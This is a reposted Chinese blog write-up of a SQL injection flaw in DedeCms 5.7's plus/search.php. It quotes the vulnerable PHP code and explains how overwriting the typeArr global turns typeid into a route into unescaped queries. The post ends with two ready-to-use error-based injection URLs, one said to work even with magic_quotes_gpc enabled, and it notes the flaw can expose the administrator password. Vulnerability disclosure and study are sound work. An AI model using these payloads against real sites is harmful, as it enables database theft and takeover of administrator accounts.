兔八哥极品软件园    运行: 4492天 | 文章:640 篇 | 评论:505 条 | 碎语:1条

DedeCms 5.7plus/search.php文件SQL注射

作者:admin 发布于:2013-1-18 16:59 Friday 分类:网络转载


微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.

作者: c4rp3nt3r@0x50sec.org
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.

============


Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

  1. require_once(dirname(__FILE__).”/../include/common.inc.php”);
  2. require_once(DEDEINC.”/arc.searchview.class.php”);
  3.  
  4. $pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
  5. $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
  6. $channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
  7. $kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
  8. $mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
  9.  
  10. if(!isset($orderby)) $orderby=”;
  11. else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
  12.  
  13.  
  14. if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
  15. else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
  16.  
  17. if(!isset($keyword)){
  18.     if(!isset($q)) $q = ”;
  19.     $keyword=$q;
  20. }
  21.  
  22. $oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
  23.  
  24. //查找栏目信息
  25. if(empty($typeid))
  26. {
  27.     $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
  28.     if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
  29.     {
  30.         $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
  31.         fwrite($fp, “<”.”?php\r\n”);
  32.         $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
  33.         $dsql->Execute();
  34.         while($row = $dsql->GetArray())
  35.         {
  36.             fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
  37.         }
  38.         fwrite($fp, ‘?’.'>’);
  39.         fclose($fp);
  40.     }
  41.     //引入栏目缓存并看关键字是否有相关栏目内容
  42.     require_once($typenameCacheFile);
  43. //$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
  44. //
  45.     if(isset($typeArr) && is_array($typeArr))
  46.     {
  47.         foreach($typeArr as $id=>$typename)
  48.         {
  49.  
  50.             <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
  51.             if($keyword != $keywordn)
  52.             {
  53.                 $keyword = $keywordn;
  54.                 <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
  55.                 break;
  56.             }
  57.         }
  58.     }
  59. }

然后plus/search.php文件下面定义了一个 Search类的对象 .
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$this->TypeLink = new TypeLink($typeid);

TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.

  1. class TypeLink
  2. {
  3.     var $typeDir;
  4.     var $dsql;
  5.     var $TypeID;
  6.     var $baseDir;
  7.     var $modDir;
  8.     var $indexUrl;
  9.     var $indexName;
  10.     var $TypeInfos;
  11.     var $SplitSymbol;
  12.     var $valuePosition;
  13.     var $valuePositionName;
  14.     var $OptionArrayList;
  15.  
  16.     //构造函数///////
  17.     //php5构造函数
  18.     function __construct($typeid)
  19.     {
  20.         $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
  21.         $this->indexName = $GLOBALS['cfg_indexname'];
  22.         $this->baseDir = $GLOBALS['cfg_basedir'];
  23.         $this->modDir = $GLOBALS['cfg_templets_dir'];
  24.         $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
  25.         $this->dsql = $GLOBALS['dsql'];
  26.         $this->TypeID = $typeid;
  27.         $this->valuePosition = ”;
  28.         $this->valuePositionName = ”;
  29.         $this->typeDir = ”;
  30.         $this->OptionArrayList = ”;
  31.  
  32.         //载入类目信息
  33.  
  34.         <font color=”Red”>$query = “SELECT tp.*,ch.typename as
  35. ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
  36. `#@__channeltype` ch
  37.         on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
  38.  
  39.         if($typeid > 0)
  40.         {
  41.             $this->TypeInfos = $this->dsql->GetOne($query);

利用代码一 需要 即使magic_quotes_gpc = Off

http://www.xxx.com /plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

这只是其中一个利用代码… Search 类的构造函数再往下

  1. ……省略
  2. $this->TypeID = $typeid;
  3. ……省略
  4. if($this->TypeID==”0″){
  5.             $this->ChannelTypeid=1;
  6.         }else{
  7.             $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
  8. //现在不鸡肋了吧亲…
  9.             $this->ChannelTypeid=$row['channeltype'];
  10.  
  11.         }

利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.

http://www.xxx.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title

如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站


Powered by 兔八哥极品软件 苏ICP备12049267号 sitemap